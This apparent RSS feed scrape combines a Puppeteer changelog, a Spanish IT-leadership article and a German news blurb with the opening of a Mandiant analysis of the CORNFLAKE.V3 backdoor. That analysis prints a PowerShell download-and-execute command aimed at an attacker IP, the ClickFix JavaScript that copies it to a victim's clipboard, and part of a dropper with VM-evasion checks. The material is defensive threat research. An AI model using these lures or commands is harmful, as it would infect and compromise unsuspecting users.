<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>)</li>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>)</li>
<li>make proxy agent optional peer dependency and update to v8 (<a href="https://github.com/puppeteer/puppeteer/issues/14894" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14894/hovercard">#14894</a>)</li>
<li>remove public makeProgressCallback helper (<a href="https://github.com/puppeteer/puppeteer/issues/13804" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/13804/hovercard">#13804</a>)</li>
<li>replace extract-zip with OS tar.exe or unzip (<a href="https://github.com/puppeteer/puppeteer/issues/14960" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14960/hovercard">#14960</a>)</li>
</ul>
<h3>🎉 Features</h3>
<ul>
<li><strong>browsers:</strong> add experimental bisect CLI command (<a href="https://github.com/puppeteer/puppeteer/issues/14746" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14746/hovercard">#14746</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/512d69375b5d4e61f59ddfa70674cb2f814c61fa">512d693</a>)</li>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4c22177a7dcbd5a5fe6922eec75351bb56cd0336">4c22177</a>)</li>
</ul>
<h3>🛠️ Fixes</h3>
<ul>
<li>remove public makeProgressCallback helper (<a href="https://github.com/puppeteer/puppeteer/issues/13804" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/13804/hovercard">#13804</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/0876ee153008a0084839886f52b95e269c46578a">0876ee1</a>)</li>
<li>replace extract-zip with OS tar.exe or unzip (<a href="https://github.com/puppeteer/puppeteer/issues/14960" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14960/hovercard">#14960</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/55df174d20bb8c3e8cce73d5d7ad8d1cfc9a560f">55df174</a>)</li>
</ul>
<h3>📄 Documentation</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4b6ddc3a2631518651187b7795e36fae9a976121">4b6ddc3</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/96f3780289d42557b648a18d806843a28da7e2f5">96f3780</a>)</li>
</ul>
<h3>⚡ Performance</h3>
<ul>
<li><strong>browsers:</strong> update logger signature (<a href="https://github.com/puppeteer/puppeteer/issues/14968" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14968/hovercard">#14968</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/0f5a8d85a0b531234758bcb8a7ff4371b2e0c960">0f5a8d8</a>)</li>
</ul>
<h3>🏗️ Refactor</h3>
<ul>
<li>make proxy agent optional peer dependency and update to v8 (<a href="https://github.com/puppeteer/puppeteer/issues/14894" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14894/hovercard">#14894</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/501cccc18913f497561a0dbdbd8738c3e72fadbe">501cccc</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[8 consejos para convertirse en un líder de TI más ágil]]></title>
<description><![CDATA[Nuestro mundo gira tan rápido que es fácil desviarse de los objetivos previstos. Y no es solo la tecnología la que está impulsando el cambio. El clima empresarial, las condiciones económicas, las reglas de juego e incluso los sistemas de creencias y los comportamientos de las personas cambian tan...]]></description>
<link>https://tsecurity.de/de/3506318/it-nachrichten/8-consejos-para-convertirse-en-un-lder-de-ti-ms-gil/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3506318/it-nachrichten/8-consejos-para-convertirse-en-un-lder-de-ti-ms-gil/</guid>
<pubDate>Mon, 11 May 2026 11:03:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Nuestro mundo gira tan rápido que es fácil desviarse de los objetivos previstos. Y no es solo la tecnología la que está impulsando el cambio. El clima empresarial, las condiciones económicas, las reglas de juego e incluso los sistemas de creencias y los comportamientos de las personas cambian tan rápido que seguir el ritmo resulta tan complicado como perseguir a un guepardo con patines.</p>



<p>Ser un líder en este clima implica perfeccionar la capacidad propia para dar un giro, tirar la toalla o lanzarse en pos de una nueva oportunidad con muy poco tiempo de preparación. No se puede tomar una decisión, instalar un sistema o asignar un equipo a un proyecto y luego pasar a otra cosa, como quizá se hacía hace unos pocos años. Hay que ser capaz de cambiar de opinión, admitir que ya no se respalda una decisión, que no se tiene confianza en un proyecto concreto, y fijar un nuevo rumbo hacia un destino mejor.</p>



<p>En consecuencia, se impone disponer de una mente ágil y una visión del mundo flexible para mantener el liderazgo hoy en día. Pero, ¿cómo se consigue eso?</p>



<p>He hablado con expertos y líderes de TI que han luchado por dominar esta habilidad y lo han conseguido. Estos son los trucos de agilidad que emplean para mantenerse flexibles.</p>



<h2 class="wp-block-heading">Siga haciendo preguntas</h2>



<p>Sathish Muthukrishnan, director de información, datos y digital de Ally Financialm confiesa que “históricamente, los CIO llegan a una organización, evalúan y luego intentan aportar valor. Eso podía llevar un año. Luego dedicaban otros seis meses a desarrollar la estrategia. A partir del tercer año, es posible que implementen la estrategia. Ese era el manual tradicional”.</p>



<p>Por lo tanto, este analista considera que el ritmo actual del cambio es, en sí mismo, un giro enorme para un rol tan complejo.</p>



<p>Por eso cree que el primer paso para convertirse en un líder ágil consiste en aceptar que el viejo manual no funcionará. El segundo paso, dice, es seguir haciendo preguntas.</p>



<p>“Hago preguntas para profundizar en mi comprensión, para orientarme. ¿Ha cambiado el contexto? ¿Ha cambiado la tecnología? ¿Ha cambiado la gente? Si es así, ¿por qué seguimos haciendo lo que hacíamos hace tres, cuatro o cinco meses?”.</p>



<p>Muthukrishnan defiende que algunas cosas que no han cambiado. El aprendizaje es el mismo, aunque lo que se aprende y la forma de aplicarlo son diferentes. Y la necesidad del liderazgo de una persona no ha hecho más que aumentar.</p>



<p>“Las cualidades humanas que te distinguen como líder están cobrando aún más relevancia en un mundo donde prima la IA. Ya no es el “Soy el experto. Lo sé. He hecho esto, he visto esto” lo que te distingue, sino el valor de decir: “No estoy atado a mis creencias anteriores. Las estoy cambiando por esta razón. Estoy dando un giro por estas razones. El valor y la convicción van de la mano”.</p>



<h2 class="wp-block-heading">Confíe en la navegación… y en sus equipos</h2>



<p>Manny Rivelo, director ejecutivo de ConnectWise, es de la opinión de que “hay que liderar con propósito y claridad. Eso es importante para la organización. Pero se necesita mucha flexibilidad a la hora de la ejecución”.</p>



<p>Como un barco en un mar embravecido, hay que tener un destino en mente. Llegar hasta allí, sin embargo, requiere navegar a través de mucha agitación.</p>



<p>Segú Rivelo, “hay que ser capaz de responder rápidamente al cambio. Puede ser cualquier cosa, desde un cambio en el mercado, la tecnología o retos organizativos internos. No quieres perder de vista esa estrategia a largo plazo, pero puede que tengas que dar un giro sobre la marcha. No se trata sólo de avanzar con rapidez, sino con flexibilidad”.</p>



<p>Al igual que ese barco que navega por mares agitados, hay que obtener lecturas precisas y confiar en que los navegantes saben cómo capear el caos.</p>



<p>De ahí que admita que “la forma de recopilar información es importante. Yo lo veo como una relación señal-ruido. ¿Cuál es la señal que le impulsa a ir a algún sitio y qué es sólo ruido? ¿Cómo elimina el ruido para poder centrarse en lo que le dice la señal?”.</p>



<p>Rivelo cree en los hechos y los datos. De ahí que reconozca que también hay que ser capaz de poner a prueba las propias suposiciones y, para ello, hay que confiar en el equipo.</p>



<p>Y aconseja “crear equipos diversos que estén dispuestos a cuestionar su forma de pensar. Según mi experiencia, eso no se puede enseñar. Hay que contratarlo”.</p>



<p>Rivelo profundiza mucho a la hora de contratar para encontrar personas con un historial de tener opiniones firmes y, sobre todo, de ser curiosas.</p>



<p>“La curiosidad es uno de los mayores dones que puedes tener como líder. Tiene que ser lo suficientemente curioso como para romper con sus propios hábitos y no dar por sentado que, porque hagamos las cosas de una determinada manera, tengamos que seguir haciéndolas así. La mejor idea debe ganar, venga de donde venga”.</p>



<h2 class="wp-block-heading">Vacíe su taza</h2>



<p>Una parábola dice que hay que vaciar la taza antes de poder llenarla. Para aprender, hay que aceptar que aún no se sabe algo.</p>



<p>“Para mí, ser ágil significa ver la verdad y no hacer suposiciones», dice la Dra. Akvile Ignotaite, fundadora y científica de datos en System Akvile. Y añade: “Me embarco en nuevos proyectos pensando: “Veamos qué podemos aprender”. Y aprendo de los datos”.</p>



<p>Suena sencillo. Pero cuando se ha alcanzado un puesto de liderazgo, probablemente lo haya conseguido gracias a su experiencia. Se ha acostumbrado a que la gente espere que sepa qué hacer. Dejar de lado ese papel de experta es, admite Ignotaite, un proceso.</p>



<p>Y lo explica así: “Intento mantener una mente muy abierta. Hago suposiciones y luego las comparo con los datos y el comportamiento reales de los usuarios. No puedo saberlo todo. Vivimos a un ritmo demasiado rápido”.</p>



<h2 class="wp-block-heading">Utilice la “regla del hot-shot”</h2>



<p>Cada día está lleno de decisiones y responsabilidades. Es fácil dejarse llevar por eso y seguir avanzando hacia un objetivo sin detenerse a comprobar si va en la dirección correcta. Para mantener la flexibilidad, a Ingrid Curtis, directora ejecutiva de Sparq, le gusta comprobar con frecuencia la dirección del viento con lo que ella llama la “regla del<em> hot-shot</em>”</p>



<p>Lo explica de la siguiente manera: “Este no es un concepto que yo haya creado, sino un ejercicio mental que ayuda a las personas a desprenderse de una decisión, un camino o un progreso que ya no les sirve para sus propósito”.</p>



<p>Y continúa: “Imagine que lo han despedido. ¿Quién es el pez gordo que viene a tomar el relevo? ¿Qué crees que hará él o ella que usted no estás haciendo?”</p>



<p>El pez gordo puede ser un personaje de ficción o un líder real del mundo tecnológico o empresarial.</p>



<p>Es más, Curtis considera que “hay un montón de grandes y audaces emprendedores entre los que elegir. Vienen con una personalidad arrolladora. Y hemos visto que eso ha metido a algunos de ellos —el fundador de WeWork, Elizabeth Holmes y otros— en serios problemas. Pero también hay admiración por este tipo de liderazgo descarado, del tipo “estoy dispuesto a hacer lo que sea necesario”.</p>



<p>Tanton es así, que considera sorprendente lo mucho que este juego permite a la gente desconectarse de los detalles y ver su trabajo con una perspectiva nueva. Por eso destaca lo fascinante que es ver cómo se desbloquean las ideas.</p>



<p>“Todos nos permitimos quedarnos atascados. Sin embargo, imagine que otra persona ignoraría esas restricciones autoimpuestas y sería capaz de llevar a cabo la tarea. De repente, con esa perspectiva, usted también eres capaz de hacerlo”, reflexiona Curtis.</p>



<h2 class="wp-block-heading">Reconsidere su enfoque de la toma de decisiones</h2>



<p>En opinión de Nik Kale, ingeniero principal de Cisco Systems, “todo el mundo enmarca la agilidad como un rasgo de personalidad: ser flexible, mantener la curiosidad, aceptar el cambio”. Y añade: “Todo eso está bien, pero la personalidad no es escalable”.</p>



<p>La agilidad, dice, tiene menos que ver con la mentalidad y más con la estructura.</p>



<p>“Los líderes adaptables no son los que tienen el temperamento más flexible. Son los que crean sistemas de toma de decisiones para absorber el cambio sin romperse”, afirma.</p>



<p>En su opinión, una parte importante de esta estructura consiste en clasificar las decisiones por importancia. Algunas decisiones son reversibles. Otras no lo son. Por lo tanto, esos dos tipos de decisiones deben clasificarse en grupos diferentes. Tómese su tiempo y reflexione sobre las decisiones no reversibles. Decida rápido y repita el proceso con las que son reversibles.</p>



<p>Kale afirma que muchos líderes hacen lo contrario. “Se agobian con cosas que no importan y se precipitan en las que sí importan”.</p>



<p>Para las decisiones reversibles, fije un momento en el que se detendrás a reevaluarlas.</p>



<p>“Anoto las fechas de reevaluación en el calendario”, dice. De esa forma, cambiar de opinión forma parte del proceso. Y añade: “No herirá el ego de nadie si hemos planeado reevaluar esa decisión”.</p>



<p>Según cree, esta estructura supera el riesgo al que se enfrentan los responsables de la toma de decisiones cuando cambian de opinión.</p>



<p>“Admitir que uno se ha equivocado, sale caro —en términos de reputación, carrera profesional y política— en la mayoría de las culturas corporativas. La gente se empeña en estrategias fallidas porque el coste de admitir que se han equivocado parece mayor que el coste del fracaso. El valor no debería ser un requisito previo para tomar buenas decisiones”.</p>



<h2 class="wp-block-heading">Tenga en cuenta que la permanencia es cosa del pasado</h2>



<p>Según Ram Palaniappan, director de tecnología de TEKsystems Global Services, cuando el software que se utiliza a diario cambia con tanta frecuencia, aferrarse a la idea de que cualquier cosa que decidas hoy no cambiará mañana es aferrarse a un mundo que ya no existe.</p>



<p>Reconoce que esto es especialmente cierto cuando se trabaja con IA. Cuando se toma una decisión sobre algo repetible y se delega el trabajo a la IA, es esencial verificar los resultados, ya que amplificará los errores. Esto también ayuda a aprender a confiar en la IA.</p>



<p>Este tipo de agilidad mental, afirma —tomar decisiones que estás dispuesto a deshacer si el resultado no cumple las expectativas— requiere que las personas se mantengan alertas y sigan aprendiendo. Y considera que esto se aplica tanto a los líderes como a equipos enteros, añade.</p>



<p>“Pedimos a nuestros equipos que dediquen un porcentaje de su tiempo a mejorar sus habilidades”, afirma, para añadir: “Establecemos objetivos. Proporcionamos una ruta de aprendizaje. Luego les permitimos aplicar lo que aprenden en un laboratorio”.</p>



<p>Por eso destaca que la idea es aprender a dejar atrás cómo eran las cosas antes.</p>



<p>Y lo explica así: “Las empresas tecnológicas cambian sus productos, a veces a diario. Todos tenemos que ser capaces de movernos así”.</p>



<p>En  consecuencia, deje de lado la idea de que cualquier cosa que decida es permanente. Decida rápidamente. Luego compruebe cómo va esa decisión.</p>



<h2 class="wp-block-heading">Ejercite sus músculos emocionales</h2>



<p>Según Sarah Noll Wilson, fundadora de The Noll Wilson Group y autora de <em>Don’t Feed the Elephants</em>, muchos líderes técnicos creen que las emociones no tienen nada que ver con sus decisiones. Pero eso puede impedirte ver el poder que las emociones tienen sobre ellos.</p>



<p>A su juicio, “cuando desarrolla sus habilidades emocionales, accede a un mayor nivel de autoconciencia y humildad intelectual”.</p>



<p>La curiosidad es una de esas habilidades emocionales. “En lugar de hacerse temer descubrir una mala decisión, la curiosidad puede hacer que resulte divertido preguntarse —con interés e incluso emoción— en qué podría estar equivocado”, explica.</p>



<p>Otra habilidad emocional es dejar de lado la idea de que lo que se necesita es su experiencia.</p>



<p>Wilson cree que “algunos problemas son técnicos”. Y lo explica así: “Esos son claros y normalmente se resuelven con experiencia. Pero otros son retos de adaptación. En ese caso, el problema puede no estar claro y resolverlo requiere aprendizaje, no experiencia”.</p>



<p>El miedo es otra emoción que impulsa la resistencia al cambio. Esta experta cree que la gente no teme al cambio, sino a la pérdida. “Pregúntese: “¿Qué estoy perdiendo?” o “¿Qué temo perder?”.</p>



<p>A modo de ejemplo explica que una de las prácticas que utiliza su equipo para aumentar la autoconciencia emocional es una auditoría del coraje. Se trata de un proceso en el que los líderes examinan lo que quieren ser —un líder ágil, por ejemplo— y analizan los comportamientos que entran en conflicto con ese objetivo.</p>



<p>“Una pregunta que puede hacerse es: “¿Qué hago o dejo de hacer que entra en conflicto con ser un líder ágil? ¿Protejo mis ideas o las de mi equipo? ¿Descartó las ideas de personas que no están en mi campo o en mi grupo? ¿Quién puede aportar ideas? ¿Quién no?”.</p>



<p>Estos ejercicios están diseñados para aumentar su conciencia de las reacciones emocionales que afectan a tus decisiones y para ayudarle a desarrollar la capacidad de sentirse cómodo con la incertidumbre.</p>



<h2 class="wp-block-heading">Cambie la forma de medir y crear</h2>



<p>Según Shahrzad Rafati, fundadora y directora ejecutiva de RHEI, mantener una perspectiva flexible requiere que cambie de forma fundamental la manera en que crea tecnología y mide el éxito.</p>



<p>“Cuando pasa dos años creando una herramienta empresarial, su ego se vincula a su implementación. Pierde agilidad porque está implicado financiera y emocionalmente en la solución, en lugar de en el problema”, afirma.</p>



<p>Y añade: “En lugar de medir el éxito con métricas como el tiempo de actividad o los hitos de implementación, mida la mejora de la plantilla. Cuando su métrica sea “¿Ha mejorado el rendimiento humano y el pensamiento estratégico?”, no dudará en cancelar un proyecto fallido”.</p>



<p>El segundo paso, dice, es encontrar una forma de experimentar de forma rápida y económica. “Ya no vivimos en un mundo en el que la creación de prototipos cueste millones de dólares. Puede “programar de forma intuitiva” una idea, poner en marcha un agente especializado y probar sus capacidades casi al instante”.</p>



<p>Para concluir, recomienda “aprovechar esto en su beneficio reduciendo lo que se juega en sus experimentos. Si probar una hipótesis no cuesta nada, su disposición a abandonar una mala idea y admitir que se ha equivocado aumenta exponencialmente”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Klarna-Marketingchef baut KI-Avatar: „Ich wollte das Gejammer in Meetings nicht mehr hören“]]></title>
<description><![CDATA[David Sandström, Klarna-CMO, ließ eine KI-Version seiner selbst programmieren, damit Beschäftigte Dampf ablassen können. Im echten Meeting soll dann nur noch über Lösungen gesprochen werden.]]></description>
<link>https://tsecurity.de/de/3504538/it-nachrichten/klarna-marketingchef-baut-ki-avatar-ich-wollte-das-gejammer-in-meetings-nicht-mehr-hoeren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3504538/it-nachrichten/klarna-marketingchef-baut-ki-avatar-ich-wollte-das-gejammer-in-meetings-nicht-mehr-hoeren/</guid>
<pubDate>Sun, 10 May 2026 12:17:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img align="right" alt="" width="60" height="34" src="https://quadro.burda-forward.de/ctf/4290fb4b-ee8e-4611-bdb8-b590c9c2e7e1.6651aa42-16a1-492e-a258-169d9315fe25.jpg?im=AspectCrop%2Csize%3D%2830%2C+17%29%2Cgravity%3DCenter%2CallowExpansion%3BResize%3D%2860%2C+34%29%2Caspect%3Dfit%3BBackgroundColor%2Ccolor%3Dffffff&amp;impolicy=chip&amp;hash=1114ef145f9a21bfb4f36d68f0a9c8bea756146cea0376a2d97a8b4974b12f74"> David Sandström, Klarna-CMO, ließ eine KI-Version seiner selbst programmieren, damit Beschäftigte Dampf ablassen können. Im echten Meeting soll dann nur noch über Lösungen gesprochen werden.]]></content:encoded>
</item>
<item>
<title><![CDATA[A Cereal Offender: Analyzing the CORNFLAKE.V3 Backdoor]]></title>
<description><![CDATA[Written by: Marco Galli

Welcome to the Frontline Bulletin Series
Straight from Mandiant Threat Defense, the "Frontline Bulletin" series brings you the latest on the most intriguing compromises we are seeing in the wild right now, equipping our community to understand and respond to the most comp...]]></description>
<link>https://tsecurity.de/de/3504173/it-security-nachrichten/a-cereal-offender-analyzing-the-cornflakev3-backdoor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3504173/it-security-nachrichten/a-cereal-offender-analyzing-the-cornflakev3-backdoor/</guid>
<pubDate>Sun, 10 May 2026 08:09:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Marco Galli</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Welcome to the Frontline Bulletin Series</span></h3>
<p><span>Straight from </span><a href="https://cloud.google.com/security/products/mandiant-managed-threat-hunting"><span>Mandiant Threat Defense</span></a><span>, the "Frontline Bulletin" series brings you the latest on the most intriguing compromises we are seeing in the wild right now, equipping our community to understand and respond to the most compelling threats we observe. This edition dissects an infection involving two threat groups, UNC5518 and UNC5774, leading to the deployment of CORNFLAKE.V3.</span></p>
<h3><span>Introduction</span></h3>
<p><span>Since June 2024, Mandiant Threat Defense has been tracking UNC5518, a financially motivated threat cluster compromising legitimate websites to serve fake CAPTCHA verification pages. This deceptive technique, known as </span><code>ClickFix</code><span>, lures website visitors into executing a downloader script which initiates a malware infection chain. UNC5518 appears to partner with clients or affiliates who use access obtained by the group to deploy additional malware.</span></p>
<p><span>While the initial compromise and fake CAPTCHA deployment are orchestrated by UNC5518, the payloads served belong to other threat groups. UNC5518 utilizes downloader scripts that function as an access-as-a-service. Several distinct threat actors have been observed leveraging the access provided by UNC5518, including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>UNC5774: A financially motivated group known to use CORNFLAKE backdoor to deploy a variety of subsequent payloads.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>UNC4108: A threat cluster with unknown motivation, observed using PowerShell to deploy various tools like VOLTMARKER and NetSupport RAT, and conducting reconnaissance.</span></p>
</li>
</ul>
<p><span>This blog post details a campaign where Mandiant identified UNC5518 deploying a downloader that delivers CORNFLAKE.V3 malware. Mandiant attributes the CORNFLAKE.V3 samples to UNC5774, a distinct financially motivated actor that uses UNC5518's access-as-a-service operation as an entry vector into target environments.</span></p>
<h3><span>The CORNFLAKE Family</span></h3>
<p><span>CORNFLAKE.V3 is a backdoor, observed as two variants, written in JavaScript or PHP (PHP Variant</span><span>) that retrieves payloads via HTTP. Supported payload types include shell commands, executables and dynamic link libraries (DLLs). Downloaded payloads are written to disk and executed. CORNFLAKE.V3 collects basic system information and sends it to a remote server via HTTP. CORNFLAKE.V3 has also been observed abusing Cloudflare Tunnels to proxy traffic to remote servers.</span></p>
<p><span>CORNFLAKE.V3 is an updated version of CORNFLAKE.V2, sharing a significant portion of its codebase. Unlike V2, which functioned solely as a downloader, V3 features host persistence via a registry Run key, and supports additional payload types.</span></p>
<p><span>The original CORNFLAKE malware differed significantly from later iterations, as it was written in C. This first variant functioned as a downloader, gathering basic system information and transmitting it via TCP to a remote server. Subsequently, it would download and execute a payload.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Malware Family</strong></p>
</td>
<td>
<p><strong>CORNFLAKE</strong></p>
</td>
<td>
<p><strong>CORNFLAKE.V2</strong></p>
</td>
<td>
<p><strong>CORNFLAKE.V3</strong></p>
</td>
</tr>
<tr>
<td>
<p><strong>Language</strong></p>
</td>
<td>
<p><span>C</span></p>
</td>
<td>
<p><span>JS</span></p>
</td>
<td>
<p><span>JS or PHP</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Type</strong></p>
</td>
<td>
<p><span>Downloader</span></p>
</td>
<td>
<p><span>Downloader</span></p>
</td>
<td>
<p><span>Backdoor</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>C2 Communication</strong></p>
</td>
<td>
<p><span>TCP socket (XOR encoded)</span></p>
</td>
<td>
<p><span>HTTP (XOR encoded)</span></p>
</td>
<td>
<p><span>HTTP (XOR encoded)</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Payload types</strong></p>
</td>
<td>
<p><span>DLL</span></p>
</td>
<td>
<p><span>DLL,EXE,JS,BAT</span></p>
</td>
<td>
<p><span>DLL,EXE,JS,BAT,PS</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Persistence</strong></p>
</td>
<td>
<p><span>No</span></p>
</td>
<td>
<p><span>No</span></p>
</td>
<td>
<p><span>Registry Run key</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div><span>Table 1: Comparison of CORNFLAKE malware variants</span></div>
</div></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/cornflake-fig1.max-1000x1000.jpg" alt="The observed CORNFLAKE.V3 (Node.js) attack lifecycle">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="2bogi">Figure 1: The observed CORNFLAKE.V3 (Node.js) attack lifecycle</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Initial Lead</span></h3>
<p><span>Mandiant Threat Defense responded to suspicious PowerShell activity on a host resulting in the deployment of the CORNFLAKE.V3 backdoor.</span></p>
<p><span>Mandiant observed that a PowerShell script was executed via the Run command using the </span><code>Windows+R</code> <span>shortcut. Evidence of this activity was found in the </span><code>HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</code><span> registry key, containing the following entry which resulted in the download and execution of the next payload:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>Name: a
Value: powershell -w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1</code></pre></div>
<div class="block-paragraph_advanced"><p><span>The </span><code>RunMRU</code> <span>registry key stores the history of commands entered into the Windows </span><code>Run</code><span> (shortcut </span><code>Windows+R</code><span>) dialog box.</span></p>
<p><span>The execution of malicious scripts using the </span><code>Windows+R</code><span> shortcut is often indicative of users who have fallen victim to ClickFix lure pages. Users typically land on such pages as a result of benign browsing leading to interaction with search results that employ SEO poisoning or malicious ads.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/cornflake-fig2.max-1000x1000.png" alt="Fake CAPTCHA verification (ClickFix) on an attacker-controlled webpage">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9j1oq">Figure 2: Fake CAPTCHA verification (ClickFix) on an attacker-controlled webpage</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>As seen in the Figure 2, the user was lured into pasting a hidden script into the Windows Run dialog box which was automatically copied to the clipboard by the malicious web page when the user clicked on the image. The webpage accomplished this with the following JavaScript code:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>// An image with the reCAPTCHA logo is displayed on the webpage
&lt;div class="c" id="j"&gt;
  &lt;img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" 
alt="reCAPTCHA Logo"&gt;
  &lt;span&gt;I'm not a robot&lt;/span&gt;
&lt;/div&gt;

// The malicious script is saved in variable _0xC
var _0xC = "powershell -w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1";

// When the image is clicked, the script is copied to the clipboard
document.getElementById("j").onclick = function(){ 
var ta = document.createElement("textarea");
ta.value = _0xC;
document.body.appendChild(ta);
ta.select();
document.execCommand("copy");</code></pre></div>
<div class="block-paragraph_advanced"><p><span>The PowerShell command copied to clipboard is designed to download and execute a script from the remote server </span><code>138.199.161[.]141:8080/$u</code><span>, where </span><code>$u</code><span> </span><span>indicates the UNIX epoch timestamp of the download.</span></p>
<p><span>As a result, the PowerShell process connects to the aforementioned IP address and port with URL path </span><code>1742214432</code> <span>(UNIX epoch timestamp), as shown in the following HTTP GET request:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>GET /1742214432 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) 
WindowsPowerShell/5.1.19041.5486
Host: 138.199.161[.\]141:8080
Connection: Keep-Alive</code></pre></div>
<div class="block-paragraph_advanced"><p><span>The following PowerShell dropper script, similar to </span><code>1742214432</code><span>,</span><span> was recovered from a threat-actor controlled server during the investigation of a similar CORNFLAKE.V3 compromise:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code># Get computer manufacturer for evasion check.
$Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object 
-ExpandProperty Manufacturer
# Exit if running in QEMU (VM detection).
if ($Manufacturer -eq "QEMU") {
    exit 0;
}

# Get memory info for evasion check.
$TotalMemoryGb = 
(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB
$AvailableMemoryGb = 
(Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB 
